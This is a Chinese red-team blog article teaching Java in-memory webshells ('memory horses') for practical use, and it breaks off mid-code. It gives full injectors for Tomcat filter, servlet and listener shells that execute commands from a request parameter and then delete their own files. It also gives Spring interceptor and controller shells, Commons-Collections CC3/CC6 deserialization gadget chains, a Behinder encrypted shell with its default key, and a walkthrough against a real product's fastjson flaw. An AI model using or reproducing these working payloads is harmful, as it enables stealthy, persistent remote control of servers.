前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内存马即学即用

内存马即学即用

作者头像
红队蓝军
发布2024-06-18 11:23:35
850
发布2024-06-18 11:23:35
举报
文章被收录于专栏:红队蓝军红队蓝军

不同于理论分析文章,这边分为三个部分,从理论到实战,主要是想让大家入门一下内存马的原理,以及学习利用CC链或者fastjson等打内存马的一些坑点还有如何注入内存马连接冰蝎,让师傅们能快速在实战中上手

一、Tomcat三种内存马

首先了解下tomcat的三种内存马的原理和简单实用

filter型内存马

Tomcat filter注册流程

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。

调试跟入可以在堆栈中看到filterChain, 我们接着查看哪里创建了它

在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法

可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中

前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern

后面继续跟入这个循环中,这个循环就是遍历filterMaps,去匹配当前请求的url与filterMap中的urlpatter,如果相就进入if调用findFilterConfig方法找到对应FilterNamefilterConfig。如果filterConfig不为空就进入addFilter,我们继续跟入

可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量

最终遍历完出来就完成了filterChain的一个组装

回到StandardWrapperValve中调用

跟进发现它又会调用internalDoFilter方法

这里会获取到所有的filterConfig然后依次进入到我们定义的doFilter方法中执行

我们跟据这个图理解filterConfig、filterMaps、filterDefs

其中filterConfigs也存放了context,两个context是一样的

根据上面的分析我们了解到,如果要实现filter类型内存马

大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
代码语言:javascript
复制
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.File" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "Qiu";
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //获取filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    //判断没有被注册
    if (filterConfigs.get(name) == null) {
        // 创建恶意的filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest request1 = (HttpServletRequest) servletRequest;
                if (request1.getParameter("qiu") != null) {
                    byte[] bytes = new byte[1024];
                    Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
            }

            @Override
            public void destroy() {

            }
        };

        //获取filterDef,设置filter、类名、类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        //将filterDef添加进入filterDefs
        standardContext.addFilterDef(filterDef);

        //获取filterMap,设置UrlPattern、类名
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        //因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位
        standardContext.addFilterMapBefore(filterMap);

        //利用反射创建filterConfigs,并添加filterDef和StandardContext
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        //将filterConfig放入filterConfigs中
        filterConfigs.put(name, filterConfig);
        out.println("Hack success!");

  //文件自毁
        (new File(application.getRealPath(request.getServletPath()))).delete();
    }
%>

Servlet型内存马

这里我们直接看实现类 ApplicationContext 的 addServlet 方法。

代码语言:javascript
复制
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException {
  //servlet不为空
        if (servletName != null && !servletName.equals("")) {
            this.checkState("applicationContext.addServlet.ise");
   //根据name在context中的children中找到wrapper
            Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
   //如果wrapper不存在则创建
            if (wrapper == null) {
                wrapper = this.context.createWrapper();
                wrapper.setName(servletName);
    //添加到context的children中
                this.context.addChild(wrapper);
            } else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
                if (!wrapper.isOverridable()) {
                    return null;
                }

                wrapper.setOverridable(false);
            }

   //都是为了设置servletClass
            ServletSecurity annotation = null;
            if (servlet == null) {
                wrapper.setServletClass(servletClass);
                Class<?> clazz = Introspection.loadClass(this.context, servletClass);
                if (clazz != null) {
                    annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
                }
            } else {
                wrapper.setServletClass(servlet.getClass().getName());
                wrapper.setServlet(servlet);
                if (this.context.wasCreatedDynamicServlet(servlet)) {
                    annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
                }
            }

            if (initParams != null) {
                Iterator var9 = initParams.entrySet().iterator();

                while(var9.hasNext()) {
                    Map.Entry<String, String> initParam = (Map.Entry)var9.next();
                    wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
                }
            }

   //用ApplicationServletRegistration创建对象并返回
            ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
            if (annotation != null) {
                registration.setServletSecurity(new ServletSecurityElement(annotation));
            }

            return registration;
        } else {
            throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
        }
    }

接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法

代码语言:javascript
复制
    public Set<String> addMapping(String... urlPatterns) {

        if (urlPatterns == null) {
   //为空返回一个不可变的Set对象
            return Collections.emptySet();
        } else {

            Set<String> conflicts = new HashSet();
            String[] var3 = urlPatterns;
            int var4 = urlPatterns.length;

            int var5;
            String urlPattern;
   //遍历urlPatterns数组,就是一个去重操走
            for(var5 = 0; var5 < var4; ++var5) {
                urlPattern = var3[var5];
                String wrapperName = this.context.findServletMapping(urlPattern);
                if (wrapperName != null) {
                    Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName);
                    if (wrapper.isOverridable()) {
                        this.context.removeServletMapping(urlPattern);
                    } else {
                        conflicts.add(urlPattern);
                    }
                }
            }

            if (!conflicts.isEmpty()) {
                return conflicts;
            } else {
                var3 = urlPatterns;
                var4 = urlPatterns.length;
    //向context中添加urlPattern和对应的wrapper
                for(var5 = 0; var5 < var4; ++var5) {
                    urlPattern = var3[var5];
                    this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName());
                }

                if (this.constraint != null) {
                    this.context.addServletSecurity(this, this.constraint);
                }

                return Collections.emptySet();
            }
        }
    }

注意到向context中添加URL和对应的wrapper中调用了一个addServletMappingDecoded方法

通过这个方法向servletMappings添加处理后的,urlPattern和name

所以创建servlet内存马的步骤和之前类似,可以分为

  • 创建恶意Servlet
  • 用Wrapper对其进行封装
  • 添加封装后的恶意Wrapper到StandardContext的children当中
  • 添加ServletMapping将访问的URL和Servlet进行绑定
  • 同时在 servletMappings 中添加 URL 路径与 name 的映射。
代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>



<%
    // 创建恶意Servlet
    class QiuServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            HttpServletRequest request1 = (HttpServletRequest) req;
            HttpServletResponse response1 = (HttpServletResponse) resp;
            if (request1.getParameter("qiu") != null) {
                byte[] bytes = new byte[1024];
                Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
                int len = process.getInputStream().read(bytes);
                resp.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }else {
                response1.sendError(HttpServletResponse.SC_NOT_FOUND);
            }
        }

        @Override
        public void destroy() {

        }
    }


    final String name = "Qiu";
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //用Wrapper对其进行封装
    QiuServlet qiuServlet = new QiuServlet();
    org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();
    qiuWrapper.setName(name);
    qiuWrapper.setLoadOnStartup(1);
    qiuWrapper.setServlet(qiuServlet);
    qiuWrapper.setServletClass(qiuServlet.getClass().getName());

    //添加封装后的恶意Wrapper到StandardContext的children当中
    standardContext.addChild(qiuWrapper);
    // 同时在 servletMappings 中添加 URL 路径与 name 的映射
    standardContext.addServletMappingDecoded("/Qiu", name);
  
    out.println("Hack success!");
    //销毁
    (new File(application.getRealPath(request.getServletPath()))).delete();

%>

Listener型内存马

  • ‍ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。

我们在requestInitialized处打个断点

查看栈帧定位到StandardHostValve的invoke方法

我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得

listener存放在applicationEventListenersList属性中,

我们同样在StandardContext中找到相关的add方法

所以listener型的内存马注入很简单,就两步

  • 创建恶意listener
  • 将恶意listener添加到applicationEventListener中
代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.File" %>


<%

  //创建恶意listener
  class QiuListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
      HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
      if (req.getParameter("qiu") != null) {
        InputStream in = null;
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
          isLinux = false;
        }
        try {
          String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")};
          in = Runtime.getRuntime().exec(cmds).getInputStream();
          Scanner scanner = new Scanner(in).useDelimiter("\\A" );
          String out = scanner.hasNext() ? scanner.next() : "";
          Field requestFiled = req.getClass().getDeclaredField("request" );
          requestFiled.setAccessible(true);
          Request request = (Request) requestFiled.get(req);
          request.getResponse().getWriter().write(out);
        }catch (Exception e) {

        }
      }
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {

      }
    }

  // 获取StandardContext
  ServletContext servletContext = request.getSession().getServletContext();

  Field appctx = servletContext.getClass().getDeclaredField("context");
  appctx.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

  Field stdctx = applicationContext.getClass().getDeclaredField("context");
  stdctx.setAccessible(true);
  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 //将恶意listener添加到applicationEventListener中
  QiuListener qiuListener = new QiuListener();
  standardContext.addApplicationEventListener(qiuListener);

  out.println("Hack success!");
//  //销毁
  (new File(application.getRealPath(request.getServletPath()))).delete();

%>

Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。

二、Spring内存马结合反序列化相关利用

环境

方便起见直接用SpringBoot了

代码语言:javascript
复制
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.4.5</version>
    <relativePath/> <!-- lookup parent from repository -->
  </parent>

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

  </dependencies>
</project>

漏洞点

代码语言:javascript
复制
@RestController
public class VulController {
    @RequestMapping("/vul")
    @ResponseBody
    public String vul(HttpServletRequest request, HttpServletResponse response, String payload) throws IOException, ClassNotFoundException {
        if (payload != null) {
            System.out.println(payload);
            byte[] decode = Base64.getDecoder().decode(payload);
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            return "attack success";
        }
        return "payload null";
    }
}

Interceptor内存马利用

上面讲的是tomcat内存马相关,这里再利用spring的内存马进行实际环境演示,其实原理都可以举一反三。

一、准备

我们知道,将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中即可注册一个拦截器。 如下

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;

public class InterMemShell extends AbstractTranslet {
    static {
        try
        {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
            Field field = null;

            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");

            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = null;

            adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

            String className = "magicInterceptor";
            //加载magicInterceptor类的字节码
            String b64 = "base64 class";
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            //添加com.example.spring.magicInterceptor类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

        } catch (Exception e){
            e.printStackTrace();
        }


    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

所以我们还需要一个类名为magicInterceptor(可以自定义,当然也要修改上面的className)的拦截器,重写preHandle方法。

代码语言:javascript
复制
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;

public class magicInterceptor extends HandlerInterceptorAdapter{
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
       String code = request.getParameter("qiu");
       if(code != null){
           try {
               java.io.PrintWriter writer = response.getWriter();
               String o = "";
               ProcessBuilder p;
               if(System.getProperty("os.name").toLowerCase().contains("win")){
                   p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
               }else{
                   p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
               }
               java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
               o = c.hasNext() ? c.next(): o;
               c.close();
               writer.write(o);
               writer.flush();
               writer.close();
           }catch (Exception e){
               e.printStackTrace();
           }
           return false;
       }
        return true;
    }
}

我这里利用CC3的LazyMap + TemplatesImpl链子打

代码语言:javascript
复制
package Qiu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templateClass = templates.getClass();
        Field nameFiled = templateClass.getDeclaredField("_name" );
        nameFiled.setAccessible(true);
        nameFiled.set(templates, "qiuqiu");

        Field bytecodesFiled = templateClass.getDeclaredField("_bytecodes" );
        bytecodesFiled.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("xxx.class"));
        byte[][] codes = {code};
        bytecodesFiled.set(templates, codes);

        Field _tfField = templateClass.getDeclaredField("_tfactory");
        _tfField.setAccessible(true);
        _tfField.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)};

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazymap = LazyMap.decorate(map, chainedTransformer);

        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, Lazymap);

        //一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。
        Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),// 传入ClassLoader
                new Class[]{Map.class},// 传入要实现的接口
                h);// 传入处理调用方法的InvocationHandler
        Object o = constructor.newInstance(Override.class, maproxy);
        serialize(o);
        //unserialize("ser.bin");
    }

    public static void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

再准备一个Base64编码的工具类,因为后面肯定需要对字节码进行编码传输

代码语言:javascript
复制
package Qiu;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class B64Evil {
    public static void main(String[] args) throws IOException {
        byte[] code1 = Files.readAllBytes(Paths.get("magicInterceptor.class"));
        System.out.println(Base64.getEncoder().encodeToString(code1));
        byte[] code = Files.readAllBytes(Paths.get("ser.bin"));
        System.out.println(Base64.getEncoder().encodeToString(code));
    }
}

二、编译利用

接下来就需要进行编译恶意类了。 有些文章说直接用idea编译的,但是idea编译是会自带那个package包名的,如果有这个最后利用的时候会报.NoClassDefFoundError的错,我也不知道是怎么利用成功的。 所以就得用javac编译,如果直接javac xxx.java会报一堆的错误,因为是找不到依赖的,所以需要利用cp参数。** **这里放出我的命令,这里的jar包我全部放在当前文件夹了。版本的话自行测试。

代码语言:javascript
复制
javac -cp .:spring-web-4.3.28.RELEASE.jar:spring-webmvc-4.3.28.RELEASE.jar:javax.servlet-api-3.1.0.jar:spring-context-4.3.28.RELEASE.jar:spring-beans-4.3.28.RELEASE.jar:spring-core-4.3.28.RELEASE.jar InterMemShell.java

首先编译好magicInterceptor(也就是你重写preHandle方法的🐎)** 然后对class进行base64编码,放入InterMemShell中,然后用同样的命令对InterMemShell进行编译 接着利用CC3序列化成ser.bin文件,然后对它进行base64编码打入,发包的时候需要url编码 **

三、注入冰蝎内存马

先看看冰蝎的🐎

代码语言:javascript
复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
    <%!class U extends ClassLoader{
        U(ClassLoader c){super(c);
        }
    public Class g(byte []b){
        return super.defineClass(b,0,b.length);}
    }%>
        <%if (request.getMethod().equals("POST")){
            String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
            session.putValue("u",k);
            Cipher c=Cipher.getInstance("AES");
            c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
            new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
        }
        %>

将之前的🐎替换为冰蝎的逻辑

代码语言:javascript
复制
public class magicInterceptor extends HandlerInterceptorAdapter{
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        
        HttpSession session = request.getSession();

        HashMap pageContext = new HashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);
        try {
            if (request.getMethod().equals("POST")) {
                String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u",k);
                Cipher c=Cipher.getInstance("AES");
                c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        } catch (Exception e){
            e.printStackTrace();
        }

        return true;
    }
}

同样的方法进行编译注入

Controller内存马利用

冰蝎逻辑🐎子

代码语言:javascript
复制
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;

public class magicController {
        public void shell() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            HttpSession session = request.getSession();
            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
            try {
                if (request.getMethod().equals("POST")) {
                    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                    session.putValue("u",k);
                    Cipher c=Cipher.getInstance("AES");
                    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
                    Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    method.setAccessible(true);
                    byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                    Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                    evilclass.newInstance().equals(pageContext);
                }
            } catch (Exception e){
                e.printStackTrace();
            }
        }
}

注入恶意controller内存马

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;


public class ConMemShell extends AbstractTranslet {
    static {
        try {
            String className = "magicController";
            //加载magicController类的字节码
            String b64 = "b64";
            byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(b64);
            java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
            m.setAccessible(true);
            m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{className, d, 0, d.length});
            WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            PatternsRequestCondition url = new PatternsRequestCondition("/qiu");
            RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
            RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
            Method mm = Class.forName(className).getMethod("shell");
            rs.registerMapping(info, Class.forName(className).newInstance(), mm);
        }catch (Exception e){
            e.printStackTrace();
        }

    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

同样利用CC3打注入,成功连接

三、实战利用分析

目标是某云匣子的fastjson漏洞,关于漏洞分析可以看网上其他文章。

问题

开始是简单的想到利用CC3加载恶意类,但是后面尝试发现是不行的。因为我们在CC链的时候了解过, 在jdk8u71之后,代理类AnnotationInvocationHandler中的this.memberValues被替换为了linkedhashmap ,所以会报错没有entrySet键。

解决

因为CC6是不受版本限制的,我们可以利用TemplatesImpl改造它参考这个师傅 https://f4de-bak.github.io/pages/ca9de1/#%E6%94%B9%E9%80%A0cc6 具体代码为

代码语言:javascript
复制
package Qiu;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6V2 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.appendClassPath("xxx/java/Qiu/");
        CtClass ctClass = pool.get("EvilTest");
        byte[] payloads = ctClass.toBytecode();
//        byte[] payloads = Base64.getDecoder().decode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
        setFieldValue(templates, "_name", "qiuqiu");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

        Map expMap = new HashMap();
        expMap.put(tme, "qiu");

